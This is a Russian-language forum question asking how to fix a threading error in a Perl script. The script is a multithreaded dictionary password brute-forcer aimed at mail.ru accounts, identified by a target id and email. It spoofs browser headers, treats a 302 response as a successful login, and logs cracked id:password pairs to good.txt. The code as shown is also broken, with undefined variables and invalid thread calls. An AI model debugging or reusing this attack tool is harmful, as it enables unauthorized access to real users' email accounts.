Выдает ошибку при создании потока в этих строках
for (0..$threads) { $trl[@threads] = threads->create(&Brut, $trl); } for ($trl) { @threads->join(); }
#!/usr/bin/perl
use IO::Socket;
use MD5;
use LWP::UserAgent;
use threads;
use threads::shared;
my @pass : shared;
my @threads;
my $trl;
$server = "www.mail.ru";
$dic = 'pass.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
open (pass, "<$dic");
Next:
@pass = pass();
for (0..$threads) {$trl[@threads] = threads->create(&Brut, $trl);}
for ($trl) { @threads->join(); }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'mail.ru',PeerPort =>80);
print $sock "GET $dir HTTP/1.1\n";
print $sock "Host: $server\n";
print $sock "Accept: */*\n";
print $sock "Referer: http://support.microsoft.com/\n";
print $sock "User-Agent: Internet Explorer 6.0\n";
print $sock "Pragma: no-cache\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Authorization: Basic $auth\n";
print $sock "Connection: close\n\n";
$ans = <$sock>;
close $sock;
print "$pass $answ";
if ($ans =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Как исправить ошибку?